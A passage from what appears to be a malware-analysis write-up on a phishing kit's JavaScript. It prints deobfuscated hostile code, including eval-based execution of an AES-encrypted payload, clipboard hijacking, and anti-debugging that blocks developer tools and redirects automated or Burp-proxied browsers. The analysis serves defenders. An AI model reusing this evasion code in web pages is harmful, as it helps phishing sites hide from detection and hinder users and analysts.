class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;FELOOzfhHO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &quot;console&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cyOvjxuVfk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;jSYgmYMWcC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cyOvjxuVfk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;jSYgmYMWcC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;108&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;111&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;103&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;XjJoNpTCny&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;XjJoNpTCny&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;cyOvjxuVfk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;oEvmbrlUdG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;eQtKbRsGby&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Dynamically constructs “eval” and executes the decrypted payload.&lt;/li&gt;
  &lt;li&gt;The decrypted code runs in the global context.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;So far, the script hides its real malicious code encrypted inside a large Base64 string. It then decrypts this code at runtime using AES-CBC with a key and IV embedded in the script. The decrypted code is then executed dynamically via eval. This technique evades static detection and hides the payload until execution.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;clipboard-hijacking&quot;&gt;Clipboard Hijacking&lt;/h2&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Check if the active element is an input, textarea, or contenteditable&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;activeElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tagName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;INPUT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; 
        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;activeElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tagName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;TEXTAREA&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; 
        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;activeElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isContentEditable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Allow normal copy inside editable areas&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;preventDefault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Stop the default copy action&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;customWord&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;pico&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// The string to replace clipboard content&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Set the clipboard data to &quot;pico&quot;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;clipboardData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;text/plain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;customWord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The script listens for user copy events and replaces the clipboard content with a fixed string “pico” unless the copy happens inside editable fields.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Event listener on copy: triggers whenever the user copies something on the page.&lt;/li&gt;
  &lt;li&gt;Editable check: If the user is copying inside an input box, textarea, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;contenteditable element&lt;/code&gt;, the script does nothing and lets the copy proceed normally.
    &lt;ul&gt;
      &lt;li&gt;Otherwise:
        &lt;ul&gt;
          &lt;li&gt;It cancels the default copy behavior.&lt;/li&gt;
          &lt;li&gt;It sets the clipboard content to the fixed string “pico”.&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now lets see what unholy code the adversary is trying to hide&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/funcblob-1-IVextraction.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First 16 bytes are the IV.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/funcblob1-decrypted.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Using the Base64 encoded key and the IV we extracted above, we can AES decrypt the payload.&lt;/p&gt;

&lt;h2 id=&quot;anti-debugging-and-anti-analysis-blob&quot;&gt;Anti-Debugging and Anti-Analysis blob&lt;/h2&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;webdriver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;callPhantom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_phantom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Burp&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;about:blank&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;keydown&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;syyt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;agib&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;123&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ctrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;85&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ctrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;shift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;73&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ctrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;shift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;67&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ctrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;shift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;74&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ctrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;shift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;75&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ctrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Ctrl + H&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;meta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;alt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;73&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;meta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;alt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;67&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;meta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;keyCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;85&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;agib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nspa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nspa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ctrl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ctrlKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nspa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;shift&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;shiftKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nspa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;meta&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;metaKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nspa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;alt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;altKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;keyCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;nspa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;keyCode&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;syyt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;preventDefault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;contextmenu&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;preventDefault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;nwax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;caxv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ftfs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;time&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;setInterval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
